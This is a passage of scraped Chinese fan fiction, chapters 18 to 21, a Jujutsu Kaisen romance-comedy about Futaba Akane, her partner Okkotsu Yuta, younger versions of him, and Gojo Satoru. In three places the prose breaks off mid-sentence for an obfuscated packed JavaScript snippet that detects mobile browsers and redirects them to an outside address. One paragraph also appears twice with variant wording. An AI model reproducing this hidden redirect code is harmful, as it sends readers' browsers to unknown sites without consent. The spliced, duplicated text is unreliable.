“今天…还是不要了。”她鼓起全部的勇气拒绝,声音带着不易察觉的颤抖,“我…没什么心情。” 门外的乙骨忧太沉默了一下,随即从善如流地回应,语气听不出失望还是其他:“好吧,那你慢慢洗。” 听着他的脚步声似乎远去,双叶茜紧绷的神经稍微放松了一瞬,但巨大的不安仍笼罩着她。 她滑坐在潮湿的地面上,任由热水冲刷着身体,却感觉不到丝毫暖意。 几分钟后,她深吸一口气,用尽最后一点力气,对着门外胆怯地提出请求。 “忧太,我今天能不能自己睡?”她停顿了一下,艰难地补充道,“我睡客房可以吗?” 门外一片寂静,只有哗哗的水声在回应她。 18.第十八章 几秒后,乙骨忧太的声音终于传过水声传到室内。 “好。” 他的语气听上去十分体贴,听不出半分不悦:“今天发生了这么多事,茜一定很累了,想一个人静一静,我能理解。” 门外传来乙骨忧太从容的脚步,他似乎在往储物室里走:“那我先去把客房的床铺整理好,等茜洗好澡出来,就能直接去客房休息了。” “…谢谢。”双叶茜干涩地回应,悬着的心却没能放下,反而因乙骨忧太过于反常的爽快更感到不安。 毕竟这是他们同居以来,她第一次提出分房。 “不过,茜——”乙骨忧太话锋一转,声音低沉许多,“我希望你明白,我尊重你的需要,是出于体谅,而不是因为我们之间出现了问题,产生了隔阂。” 他停顿了一下,语气明显加重,故意强调道:“更不意味着,你可以借此远离我。” 乙骨忧太的脚步声渐远。 温热的水流依旧哗哗作响,却驱散不走双叶茜心中的寒意。 她在浴室里待了许久,直到热水器里的热水几乎快全部耗尽,才关掉水龙头,擦干身子裹上浴巾,小心翼翼地打开一条门缝。 走廊里一片昏暗寂静,没什么灯光,只有客厅里还亮着一盏暖黄色的落地灯。 叠放整齐的睡衣被放在门口的矮凳上,双叶茜正要伸手去拿,却见乙骨忧太从客房里走出,手上还抱着刚换下来的床单被套。 她想起自己身上还只裹着浴巾,赶忙拿起睡衣,将浴室的磨砂门合上。 乙骨忧太似乎看出她在害羞,轻笑了一声:“都收拾好了。” 他顺手点亮走廊的灯,又快步走向客厅,将落地灯熄灭:“床单和被套都换了新的,快去休息吧。” 乙骨忧太的态度十分自然,仿佛这只是一个再普通不过的夜晚。 “…好,谢谢。” 双叶茜迅速穿好衣服,做贼一样小跑进客房,又将房门反锁,这才感到心底传来一阵安全感。 门外传来储物室的房门开合的声响,接着又是主卧的房门被轻轻带上的声音。 整间房子彻底安静下来,只能听到双叶茜自己的呼吸声。 她躺在客房的床上,新换的床单有阳光晒过的味道,暖烘烘的,却无法给她带来丝睡意。 同居这么久以来,双叶茜早已习惯在乙骨忧太的臂弯中闭上眼睛,听着他平稳的呼吸声安然入睡。 此刻她独自躺在陌生的床铺上,身体的记忆要比理智更诚实,她只觉得身体的每个细胞都在抗议着这份孤独。 就在她在床上辗转反侧时,主卧的房门忽然被推开了。 乙骨忧太的脚步声停在客房门外,这让双叶茜心头一紧,却没听到任何 就在双叶茜的思绪纷乱至极时,主卧的房门似乎被打开了,乙骨忧太的脚步声停在房门外。 双叶茜心头一紧,却没听见乙骨忧太的声音。 过了一会后,温和的嗓音才透过门板传来。 “晚安,茜。” 那声音低沉温柔,却带着若有若无的落寞和委屈,像是声音的所有者也难以忍受这突如其来的孤独和分离。 声音低沉,又似乎有着几分不易察觉的委屈,像是他也忍受不了一个人的孤独,所以来做挽留。 心脏的某个地方忽然软得一塌糊涂,双叶茜把头埋在枕头里,闷闷地回复。 “晚安。” 门外再次传来主卧房门被合上的声音,乙骨忧太似乎是回去睡觉了。 但双叶茜却彻底睡不着了。 这声晚安没带来任何安抚,反而像投入静湖中的一粒石子,在她心湖中心荡漾开层层涟漪,让她心烦意乱。 她有些气急,“啊啊啊”了几声,便用被子罩住头,企图用这样的方式让自己不再想那些有的没的。 时间缓慢流淌,不知过了多久,双叶茜却仍然没有睡着。 她猜测乙骨忧太应该已经睡熟,终于按捺不住内心的冲动,轻手轻脚掀开被子,光着脚去打开房门。 双叶茜握住客房的门把手,极其缓慢地转动,生怕发出一点声音。 走廊里一片漆黑,主卧的房门就在对面。 她屏住呼吸,伸手试探性地去触碰主卧的门把手,整个人浑身上下都透着一股子偷感,不像是这间屋子的女主人,倒像是来偷窃的小偷。 主卧的房门没有上锁,她轻而易举地便打开了房门。 主卧里一片黑暗,只有窗帘的缝隙漏进几缕月光,隐约勾勒出床上隆起的轮廓。 乙骨忧太貌似已经睡熟了,呼吸声平稳绵长。 双叶茜踮着脚尖,悄咪咪地走到床的另一边,将动作放到最轻。 她掀开被子的一角,刚将一个膝盖跪上床垫,正准备悄无声息地钻到被窝里,却听到熟悉的声音。 “茜。” 黑暗中,乙骨忧太的声音清晰传来。 那声音没有丝毫睡意朦胧的倦怠,反而透着一股子清醒。 双叶茜:… 坏了,被下套了。 床头柔和的灯光亮起,乙骨忧太打开了灯。 只见女人整个人都僵在原地,保持着单膝跪在床沿,半个身子悬空的尴尬姿势,像是被点了穴一样定格了。 她抬眸与乙骨忧太对上视线,正好撞进那双含着笑的黑眸中,脸上顿时烧了起来,恨不得找个地缝给自己埋进去。 “哈…哈哈,忧太,晚上好啊。”双叶茜干笑了两声。 见她这副样子,乙骨忧太低笑了两声。 他没想拿这事嘲讽双叶茜,目光顺着她通红的脸颊往下移,瞥见她光着的脚踩在冰凉的地板上,眉头蹙起。 “怎么不穿拖鞋?”乙骨忧太撑起身子,“已经入秋了,光着脚到处走,着凉感冒了怎么办?” 他一边说着,一边握住双叶茜冰凉的手腕,稍稍用力便将双叶茜带进了温暖的被窝中。 双叶茜尴尬得要命,只觉得自己所有的心思都被乙骨忧太看穿了,窘迫得一句话也说不出来:“我..” 乙骨忧太却仿佛没看见她的尴尬,用被子将她严严实实地盖好,不让任何凉意入侵双叶茜的身体。 他重新躺下,侧身面对着她,手臂也习惯性地环住双叶茜的腰,将她往自己怀里带了带,平和道。 “睡吧。” 床头灯应声熄灭,整间房间重新被黑暗所笼罩。 双叶茜僵在乙骨忧太的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543429|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀抱中,脸颊还在微微发烫。 但很快,感受到温暖的她便抵挡不住袭来的睡意,沉沉睡去。 然而在她睡去后,一声闷响却忽然从阳台传来。 环在双叶茜腰间的手臂下意识收紧,乙骨忧太睁开眼睛,在确认了双叶茜已经彻底睡熟后起了身,打开窗帘向阳台走去。 月光下,穿着白色制服的少年翻过阳台的栏杆进入室内。 他抬起头,那双带着严重黑眼圈的眼睛和男人对上视线。 “我希望下次不要再出现这种情况了。”乙骨忧太合上阳台门,声音压得很低,像是在确保不会让屋内的人听到,“我们之间应该早就已经达成共识了。” “共识?”少年嗤笑一声,“我反悔了。” 他毫不客气地对上男人的目光,声线里带着某种偏执的情感,甚至都变了调:“茜应该是只属于我的,她应该只看着我,只跟我待在一起!” “所以你才把她的手机拿走了?”乙骨忧太的眼神冷了下来。 月光勾勒出男人棱角分明的脸,上面不再有任何面对双叶茜时的温柔,只剩下冰冷的威压:“你想让我没办法找到她,对吗?” “认清你的位置。”他冷笑一声,浑身上下都在往外散发着敌意,“你觉得对于茜来说,她最信赖的人是你还是我?” “对于现在的茜来说,她最依赖和最信任、并且会选择共度一生的人,只有我。” 乙骨忧太一字一句陈述着事实:“你应该不会忘记这一点吧?” 少年脸色发白,无从辩驳。 “把她的手机还回来。”乙骨忧太声音平淡,“我能允许你出现,保护茜的安全,已经是最大的让步了,别再做任何只会让她感到困扰和不安的事情。” 男人抱胸依靠在阳台的玻璃门上,目光幽幽地注视着少年:“也别在做出像今天这样的行为,我们不能同时出现,否则会破坏这个世界的规律,你应该知道什么该做,什么不该做。” 少年垂下头,额前的碎发遮住他眼中翻涌的情绪。 良久,他才从口袋里取出手机,向乙骨忧太扔了过去。 乙骨忧太接住抛来的手机,瞥了一眼还站在阳台上的少年,便转身准备回到室内,谁知少年却忽然开口。 “我选择将茜暂时交给你,不是因为认同你的话。” 少年往后退后一步,夜风将他的黑发吹起。 他站在月光里,冷冷地注视着乙骨忧太:“是因为我们都有一个共同的目的,就是保护茜的安全。” “但总有一天,我会让茜的视线重新回到我身上,把她对你的信任和依赖抢回来。” 话音刚落,少年便利落地翻过栏杆,没入夜色中。 乙骨忧太回眸看了一眼,转身回到室内,轻合上阳台门。 呵。 想夺走茜对他的依赖和信任? 月光从窗帘的缝隙漏入室内,在乙骨忧太的脸上打下明明灭灭的光线。 他只觉得这个想法极其荒唐。 男人掀开被子,重新躺下,将熟睡中的双叶茜搂入怀中。 “嗯…忧太,不要动啦。” 女人无意识地在他胸口蹭了蹭,习惯性地反抱住他。 19.第十九章 晨光透过轻纱窗帘,在卧室内铺开一片柔和的暖黄色。 双叶茜在熟悉的怀抱中醒来。 “早,茜。” 乙骨忧太的声音从她头顶传来,声线沙哑。 他像往常一样,在双叶茜额头落下一个虔诚又含着爱意的吻,修长的手指穿过她的发丝,将她散落在脸颊边的几缕头发别至耳后,目光专注,问。 “今天要不要再请一天假,多休息一会?” 双叶茜在乙骨忧太怀中仰起脸,摇摇头。 她揉了揉惺忪的睡眼,迷迷糊糊地问:“忧太,我昨晚好像听到阳台有动静,你听到了吗?” 乙骨忧太自然地坐起身,动作没有丝毫停顿,他背对着双叶茜整理着睡衣的领口,又从床上站起,轻轻道:“动静?我没注意到,可能是风吧。” 他侧过脸,对双叶茜露出笑:“早饭已经准备好了哦,要先去洗漱吗?” 乙骨忧太的神情和表现都十分坦然,让人生不出任何怀疑。 见他这样,双叶茜虽心有疑惑,却也只能压回心底,跟着起身去洗漱。 洗漱完后,她打着哈欠坐在餐桌旁坐下,正要拿起筷子,却忽然发现自己的手机就被放在餐盘旁。 “我的手机怎么会在这里?”双叶茜拿起手机,困惑地看向正在为她倒牛奶的乙骨忧太,“忧太,你找到的吗?” 乙骨忧太神色淡淡,将温热的牛奶推到她面前:“嗯,找到了。” 他没解释是如何找到的,只是在餐桌的另一边坐下,温柔地催促她:“先吃饭吧,不然一会都要凉了。” 这模糊的态度反而让双叶茜更加在意。 她皱起眉头,正想继续追问,手机却忽然震动起来。 屏幕亮起,是工作群的紧急通知,一条接着一条。 [监测到东大附属医院有强烈咒力反应,疑似二级咒灵,请负责值班的辅助监督立即前往现场协助,总部派遣的咒术师将随后抵达。] [@双叶茜] “抱歉,忧太。”双叶茜匆忙咬了口面包,将牛奶一饮而尽,便快步走进卧室换上西装。 乙骨忧太很是体贴地跟着她到玄关,又将公文包递到她手中。 他今日倒是没想跟着一起去,只是温柔地看着她,又在她临走前时说道。 “路上小心,茜,如果遇到什么事情,记得给我打电话。” 有点奇怪。 双叶茜坐上电梯,靠在墙上,不自觉地握紧手中的手机,垂眸思考着。 电梯缓缓下行,带来轻微的失重感,让她的头有点疼。 种种疑问堵在她心口。 首先,在昨晚之前,双叶茜从未明确跟乙骨忧太提起过遭遇不同时期的乙骨忧太这件荒诞离奇的事情,他是如何知晓的,又为何能轻松地让那个少年时期的乙骨忧太离开? 其次,她的手机又是怎么回来的? 双叶茜记得清清楚楚,她的手机就是被少年时期的乙骨忧太给拿走的。 可今早,她的手机就出现在了餐桌上。 昨晚她睡得迷迷糊糊听到的动静又是真是假? “叮——” 电梯抵达一楼,发出提示音,暂且打断双叶茜混乱的思绪。 双叶茜握紧公文包,正打算向地下车库走去,却忽然想起自己的车好像现在还不知行踪。 她心中一时无语,只能被迫向车站走去,乘着电车,一路心神不宁地抵达了东大附属医院。 现场的警察已维持好基本秩序,提前疏散了人群。 浓烈的阴暗气息从医院内部向外弥漫,双叶茜只能暂时将压在心头的种种疑惑都抛在脑后,集中精力完成自己的工作。 黑色的帐缓缓降下,将整间医院彻底笼罩,把医院内部和外界给隔离开。 她的任务这才算完成了。 双叶茜往后退到安全距离,稍稍松了口气,一只手抱胸,另一只手摩挲着下巴,等待着总部派遣的咒术师。 就在她的思绪逐渐又飘回那些解不开的谜团时,一个轻佻的声音从她身后传来,打破了现场的凝重气氛。。 “呀~我们勤劳的辅助监督小姐这么快就搞定工作第一步了嘛。” 双叶茜不敢相信,猛然回头。 映入眼帘的是标志性的白色短发和蒙着眼罩的眼。 五条悟双手插兜,嘴唇翘起,一副心情很好的样子。 他迈着长腿,悠哉悠哉地向双叶茜走了过来,仿佛不是来祓除咒灵的咒术师,而是来街头散步的大爷。 “五条老师?”双叶茜惊讶地迎上前,“您怎么在这里,这次的任务应该只是一个二级咒灵而已。” 她顿了一下,又道:“而且您不是在京都吗?” “嗯哼~”五条悟随手将一个精致的礼盒扔给双叶茜,“原本确实在京都处理事情呢,不过昨天收到了最可爱的学生求助呢~” 他歪了歪头,像是在故意卖萌:“我亲爱的学生似乎遇到了麻烦,一副很需要老师的样子哎。” “所以我就来了哦~哪怕只是一个小小的二级咒灵而已。” 五条悟双手捧着自己的脸,周身都开始冒起粉色泡泡神态表情十分夸张,飘飘然道:“哎呀,这么体贴入微的老师,连我自己都要被感动到了。” 双叶茜慌张地接过礼盒,捧在怀里,低头一看,才发现是里面是京东特产,不由怔住。 “是伴手礼哦~” 落下这句话后,五条悟就摆了摆手,转身向帐里走去:“不过我要先解决掉里面的东西才行,一会见,记得等我哦~” 他进入帐内还没多久,那笼罩着医院的漆黑结界就消散了。 五条悟依旧维持着双手插兜的样子,悠哉地从医院里走出,甚至还一蹦一跳的:“搞定~” “那么,双叶同学,不去请我吃点东西嘛?” 他一边说着,一边自顾自地往前走,根本不给双叶茜任何拒绝或者询问任务细节的机会,理直气壮地安排着:“附近新开了家甜品店,我还没去过呢。” “作为我千里迢迢为最亲爱的学生赶回东京,还顺手帮她解决了麻烦的谢礼,你就请我吃几个甜点,不过分吧?”五条悟转过头,看向双叶茜又说道。 双叶茜赶忙抱着那盒伴手礼,小跑着跟上五条悟的步伐,连忙答应下来:“当然可以,没问题!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548687|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人很快便坐在了一家装横精致的甜品店内。 五条悟毫不客气地点了好几份招牌甜点,点完后便少女怀春般拖着腮,眼里还闪烁着期待的光芒。 甜品很快便被服务员呈上来。 双叶茜正想询问正事,五条悟却忽然将其中一份点缀着鲜红草莓的奶油蛋糕推到她面前,语气轻快愉悦,催促着:“快尝尝看!” 这期待无比的动作让双叶茜实在说不出任何拒绝的话。 她低头小口品尝着甜品,刚放到嘴里,就感觉到五条悟的视线落在了她身上。 “所以…”五条悟忽然开口了,“我最可爱的学生双叶同学,你遇到什么烦恼啦?” “居然会向我求助,还真是少见哦。”五条悟握着勺子,有一搭没一搭地挖着甜品,随意地问道,“难道你跟忧太之间发生了什么事情了?” 虽然语气极其随意,但他的嘴角却始终挂着洞悉一切的笑容,仿佛一切都早就被他看穿。 双叶茜呼吸一滞。 “看来我猜对了呢。”五条悟喝了一口奶茶,“那么告诉我吧,到底发生了什么?” 双叶茜深吸口气,目光直直地望着五条悟,将这几日离奇的经历全部一口气说了出来。 “虽然我之前有所猜测,不过没想到还真的会发生啊。”五条悟不知在思索着什么,突然冷不丁地笑了一声。 他俯身向前,手肘抵着桌面,拉近了两人之间的距离:“但换个角度想,这不是好事嘛?” 双叶茜疑惑看向他。 “按你所说,多出来的那两个乙骨忧太,不也同样很爱你吗?”他将下巴搭在手上,眼中闪过狡黠的光,“那不是很好吗,现在你有三个爱人了哎。” “哦,这在中国要怎么说?是叫开后宫吗?我之前有在网上刷到过相关的信息哎。” “不过你们以后如果真的结婚要怎么办啊,算不算重婚罪?” 五条悟自顾自地开起了脑洞,一个又一个问题快到让双叶茜根本没反应过来,只是迷茫地眨眼。 “等…等等!”她赶忙打断五条悟,甚至伸手想握住他的手,“您正经一点!” 五条悟一直都开着无下限术式,这是众所周知的事情。 所以双叶茜也理所应当地认为她根本就没办法触碰到五条悟。 可此刻,她的双手却真实地握住了五条悟裸露在外的手腕。 温热的温度让双叶茜一时愣住了。 “哎——”五条悟倒是反应得很快,他也没想将手抽出来,反而刻意拖长语调,问, “双叶同学,你这是在做什么?” “难道三个乙骨忧太你还嫌不够,还要把老师也收入到你的后宫内吗?” 他故作伤心地摇摇头,语气充满戏谑,“天呐,老师真是看错你了,没想到老师把你当学生,你却对老师有这种心思!” “等等,这都什么跟什么。”这下双叶茜是彻底跟不上五条悟到思路了。 她正要解释并否认,却不料五条悟忽然反握住她的手腕,直直地凝视着她,声音充满磁性, “老师我可不想当后宫之一,要做,就只会做唯一哦。” 20.第二十章 “老师,请您别开这种玩笑了。” 双叶茜干笑了两声,只觉脸颊两侧微微发烫,她抽回手,不自在地咳嗽了两声:“我们在谈正事呢,您别拿我开玩笑了。” “哎~老师可是很认真的哦。” 五条悟耸耸肩,慵懒地向后靠在椅背上,又恢复成那副玩世不恭的的模样:“所以你现在怀疑,忧太是对你隐瞒了某些信息?甚至几个不同时期的他之间,很可能达成了某种共识?” 双叶茜点了点头:“是的,不然我找不到更合理的解释了,忧太表现得太过正常了,在这种离奇的情况下,反而显得很可疑。” “嗯…听你这么一说,那确实很可疑呢。” 与双叶茜的紧张不同,五条悟整个人都显得极其轻松惬意。 他慢悠悠地用勺子又挖了一勺甜品放到嘴里,脸上露出幸福至极的笑容,浑身上下都洋溢着满足的幸福感,语气都跟着变得轻飘飘起来。 “不过与其在这里猜测,为什么不直接去问问本人呢?” 他话音刚落,甜品店的玻璃门就被从外推开了。 玻璃门上的风铃发出清脆的叮铃声,一个服务生急忙上去迎客,却只见到一个孤零零的小小身影站在门口。 服务生弯下腰,将声音放柔,问。 “小朋友,你怎么一个人在这里?” “你的爸爸妈妈呢?他们没跟你一起来吗?” “小朋友,你怎么不说话?” 这动静吸引了双叶茜的注意,她有些疑惑,循声望去。 只见门口站着一个看起来只有七八岁的小男孩,身形瘦小,穿着小学制服,背着一个沉甸甸的书包。 他有着一头柔软无比的黑发和白皙的皮肤,眼睛圆溜溜的,看起来很是可爱。 他那双可爱的眼睛不停在眨着,似乎在找什么人。 双叶茜愣了一下。 那张稚嫩的脸,分明就是孩童时期的乙骨忧太。 而乙骨忧太似乎也找到了她,和她对上了视线,眼睛一亮。 他伸出小小的手指,指向双叶茜和五条悟的座位。 服务生顺着乙骨忧太所指的方向望去,只看到一对成年男女。 她理所当然地产生了误解,牵起乙骨忧太的手:“原来你的爸爸妈妈在哪里呀,别担心,姐姐现在就带你过去好不好?” 双叶茜:…? 她正要出声解释,却见乙骨忧太用力地摇了摇头,坚定地反驳道:“他们才不是我的爸爸妈妈!” 不等服务生反应过来,乙骨忧太就挣脱开她的手,迈着小短腿蹬蹬蹬地跑到了双叶茜的旁边。 他拉起双叶茜的手,仰起脸对着还愣在原地的服务生,声音洪亮,语气里还带着骄傲:“这个人是我的茜姐姐!” 到底还是个孩童,不懂羞耻两个字怎么写,只知道尽可能地把自己的爱意表达出来,自豪地大声宣布。 “也是我最喜欢的人,是跟我约定好要一直在一起,将来要结婚的人!” 霎那间,空气仿佛凝固了。 服务生脸上的职业假笑僵住,看向双叶茜的眼神里充满了难以置信的震惊,和某种不可言说的怀疑。 她的笑容一点点褪下,取而代之的是困惑和警惕,甚至还想从口袋里掏出手机,思考着是不是该报警。 不仅如此,甜品店里的人也都震惊地望着双叶茜,显然把她当成了犯罪嫌疑人。 双叶茜:… 双叶茜:??? “噗——哈哈哈哈哈!” 将整个过程尽收眼底的五条悟发出爆笑,连肩膀都笑得颤抖了起来。 他一手捧着肚子,另一只手拍着桌子:“哈哈哈,结婚?哇哦,忧太,这么小就有这么大的魄力了吗?老师我真是刮目相看啊!” 双叶茜的脸颊烫的要命,几乎都快烧了起来。 她低头紧紧黏在自己身边的忧太,又抬起头看了看周围其他人投来的异样眼光,一时恨不得找个地窖把自己给埋进去算了。 “等等,不是你们想的那样!”双叶茜试图解释,却觉言语无力:“这孩子他不是那个意思!” 然而她的辩解在乙骨忧太那天真无邪的告白前却显得极其苍白无力。 服务生掏出手机,紧紧地握在手里,眼中的怀疑丝毫未减。 五条悟终于止住大笑,站起身。 他身形高大,仅是站直身子就能带来一种无形又强烈的压迫感。 虽然五条悟的嘴角仍噙着一抹玩味的笑,但那股属于最强的强大气场却在整间甜品点里蔓延开。 “哎呀呀,真是伤脑筋呢。” 五条悟抓了抓自己白色的头发,语气轻松,却成功吸引了所有人的注意力:“我家这个小儿子,实在太爱幻想了。” 他一边说着,一边伸出手指,轻点两下自己的太阳穴,两只手又摆了摆,一副只可意会不可言传的模样。 但很明显,他是在说乙骨忧太脑子不好。 “他最近特别黏他的妈妈,前段时间又想让我给他买玩具,但我没有给他买,就闹脾气不愿认我这个爸爸,还想独占妈妈,真是个让人头疼的孩子呢。” 五条悟耸了耸肩,表情无奈又宠溺,演技好得不得了,简直把一个宠爱儿子的父亲形象演得惟妙惟肖。 “她妈妈最近又天天给他读童话书,这下好了,他就整天嚷嚷着要跟妈妈结婚,真是给我们添了不少麻烦。” 五条悟又感激地看向站在门口的那个服务生:“这位是我的妻子,这孩子是我的儿子,我是他的爸爸,我们今天带他出来玩,一不留神他就跑丢了,正着急找他呢,真是谢谢您帮我们找到他了。” 五条悟这番话逻辑通顺,表情自然,再加上他出众的样貌和使人信服的强大气场,瞬间就让紧张的氛围缓和了不少。 “原来是这样啊。”服务生脸上的警惕明显褪去,松了口气,又不好意思地对着双叶茜笑了笑,歉意道,“抱歉,误会了,原来您是孩子的妈妈。” “喜当妈”的双叶茜:“…” 她沉默了一两秒,随后扯了扯嘴角,扯出一个似笑非笑的表情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553303|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“没关系,给您添麻烦了才是。” 周围的顾客们也纷纷收回目光,不再关注这里。 五条悟重新坐下,继续美滋滋地品尝着甜品。 但“喜当儿”的乙骨忧太倒是不乐意了。 他用两只小手紧攥住双叶茜的衣角,白皙的脸颊两侧鼓起,圆溜溜的眼珠子瞪大,含着不加掩饰的怒气,瞪着五条悟。 “你胡说!”乙骨忧太像是要护住自己珍贵的宝物,“我才不是你的儿子,茜姐姐也不是你的妻子!” 他用力摇晃着双叶茜的衣角,急切地催促:“茜姐姐,你快告诉他们,我们才是一起的,这个白毛怪大叔在说慌!” 见乙骨忧太这样,“白毛怪大叔”非但没有生气,反而被逗乐了。 他夸张地捂住胸口,摆出一副伤心至极的表情:“哎?忧太好过分哦,居然这么称呼老师,老师我可是会伤心的哦~” 五条悟像是在故意火上浇油,又拖长语调道:“而且小孩子可不能撒谎,我明明就是你爸爸啊,快别跟爸爸闹了,乖儿子。” 小小的乙骨忧太气得脸都红了。 他试图反驳,但无奈年龄尚幼,脑中实在没有太多词汇量,气得“你你你”了半天,也没能憋出一句完整的话,自己倒是马上就要被气坏,眼看着快喘不过气了。 双叶茜都害怕他一口气没上来,马上气得把自己给憋死了。 情急之下,乙骨忧太猛地转过头,一把抱住双叶茜,将头埋在他的怀里,小脸也埋了起来,让人看不清他的表情,只能听到他带着哭腔的声音。 “茜姐姐,他欺负人!” 双叶茜被这两人的互动弄得哭笑不得,也不知道该怎么办,只能轻拍着乙骨忧太的后背,用这样的方式安慰他。 但到底她还是偏向乙骨忧太,出声制止道。 “五条老师,您别逗他了!” 看着埋在双叶茜怀里的小小身影,五条悟“啧”一声,总算不再逗弄乙骨忧太,也不再占他便宜了。 他摊摊手,随意道:“好吧,那我们继续来说正事吧。” “乙骨小朋友~”他笑眯眯地喊着乙骨忧太,问,“你出现在这里,是偶然呢,还是有意为之呢?” 乙骨忧太的身子怔了一下。 随后他将双叶茜抱得更紧,甩无赖般道:“我不知道你在说什么,我和茜姐姐待在一起是天经地义的事情!” “不要逃避我的问题嘛。”但五条悟又岂是那么容易就会被他蒙混过去的。 “我刚才跟双叶同学在讨论问题,但话都还没说几句,甚至还没切入正题,你就突然出现了,如果你只跟我说这是一个意外,我可不会信哦。” 他意味深长地瞥了双叶茜一眼:“就算笨蛋的双叶同学会相信这个理由,我也不会相信哦。” 被莫名冠上“笨蛋”的双叶茜颇是不悦,正打算出声为自己说两句,却见五条悟又继续说道。 “乙骨小朋友,你该不会是不希望茜知道你和其他乙骨忧太会出现的原因,探究出你们的秘密吧?” 21.第二十一章 五条悟的问题清晰明了,又直击重点,没给乙骨忧太任何能逃避这些问题的机会。 双叶茜心中一惊,下意识地低头看向怀中的乙骨忧太,却只看到他柔软的发顶。 小小的乙骨忧太抗拒地将双叶茜抱得更深,由于太过用力,骨头硌得双叶茜都感到有些疼痛。 他似乎算准自己只是个孩子,无人能逼他,便用这样耍无赖的方式逃避问题。 但这份沉默本身就已经是一个回答了。 五条悟见状,像是明白了什么,了然地点了点头,不再追问。 他轻松地转换了个话题:“嘛嘛,具体情况老师大概心里有数了,感谢款待哦~” 五条悟站起身,笑眯眯地看着双叶茜。 桌上的甜点基本已被他吃完了,五条悟心满意足地翘起嘴角,就飘飘然道:“那么,我这个不认爹的‘乖儿子’,就拜托你照顾咯,双叶同学。” 他这话说得理所当然,却丝毫没有当父亲的自觉,说完转身就要走人。 “等等,五条老师。”双叶茜仍一头雾水,急忙叫住五条悟,“您这就走了?那这件事怎么…” “安啦安啦。”五条悟背对着她挥了挥手,“反正我们现在也问不出什么,继续这样僵持下去也是在浪费时间,不如就按照我的建议,直接去问本人吧。” 他又像是忽然想到什么,在原地驻足,转身望向双叶茜,提醒道:“当然,前提是你不会被忧太带着跑。” 五条悟不再停留,转身推门而出,风铃在他身后“叮铃铃”的响。 “茜姐姐。”一直埋在双叶茜怀里的孩童终于抬起头,一眨不眨地注视着双叶茜,用软软的声音问,“我们回家好不好?” 虽然思绪仍然十分混乱,但五条悟的话不无道理。 与其在这里揣测,不如直接去问本人好了。 双叶茜心中有了决定。 “好,我们回家。”她轻声应道,又揉了揉乙骨忧太的黑发。 结完账后,双叶茜牵起乙骨忧太的手走出甜品店。 男孩亦步亦趋地跟在她身边,小手紧攥着她的手指,每一步都走得十分认真。 “茜姐姐。”走了不知道多久,乙骨忧太却突然停下脚步,仰起头认真地看着双叶茜,“你不要相信刚刚那个人说的话。” 那双满是稚嫩的脸上却顶着严肃的认真:“他一看就不是什么好人,肯定会欺骗茜姐姐,茜姐姐就算真的跟他在一起,以后也不会幸福的。” 双叶茜:… 她嘴角抽了抽,心想不知道五条悟听到这话会是什么心情。 “我才是最喜欢茜姐姐的人。”小乙骨忧太黑黝黝的眼睛里带着超乎年龄的执拗,一本正经地承诺道,“等我长大了,我一定会和茜姐姐结婚。” 这突如其来的告白让双叶茜忍俊不禁。 她忽然理解五条悟刚刚逗弄这个小孩子的心理,心中也生出几分恶趣味,蹲下身,平视着乙骨忧太。 “忧太,你还小,还不明白结婚是什么意思。” “而且我已经…” “我明白!”乙骨忧太不等她话说完,急切地反驳,急得眼眶都有些红了,“结婚就是永远在一起的意思,我和茜姐姐约好了要永远在一起的。” 双叶茜虽的确在小时候曾和乙骨忧太定下过这样的约定,但因年代久远,当时两个人又都年龄尚幼,她一直都只当是孩童的玩笑话。 “可是我已经有男朋友了,怎么办?”心中恶趣味增长,双叶茜狡黠地眨了眨眼睛,又问。 这话直戳心窝里了。 刚刚还在不停说话的少年顿时语塞,眼巴巴地看着双叶茜,两只眼睛里氤氲起一层薄薄的水雾,马上就要哭出来。 他张口说话,边说边抽噎着:“茜…茜姐姐,你…你要毁约吗?你不跟我永远在一起了吗?” 见他这副样子,双叶茜的心简直软得一塌糊涂,心中一片酸涩和柔软。 她连忙慌张地擦去乙骨忧太眼角的泪水,哄道:“没有没有,我是骗你的,我只有忧太一个人,哪还有什么别人啊。” “而且我们约好了要永远在一起的,我怎么可能会毁约呢?难道你忘了,我是这个世界上会最不会欺骗忧太的人?” 这几句话像是蕴含着魔力,瞬间便驱散走男孩心中所有的不安和委屈 他破涕为笑,重新牵起双叶茜的手,心满意足地继续往前走,甚至都开始一蹦一跳起来,像只小鸡一样叽里咕噜地不停在双叶茜耳边叨叨。 “我就知道茜姐姐最喜欢我了!” “我也最喜欢茜姐姐了,我是这个世界上最喜欢茜姐姐的人!” “茜姐姐要永远和我在一起!” 到底还是孩童,心智极其稚嫩。 双叶茜不忍再看他哭,便应和着他,他说一句就应一句好。 两人手拉着手走着,阳光照到他们身上,暖烘烘的。 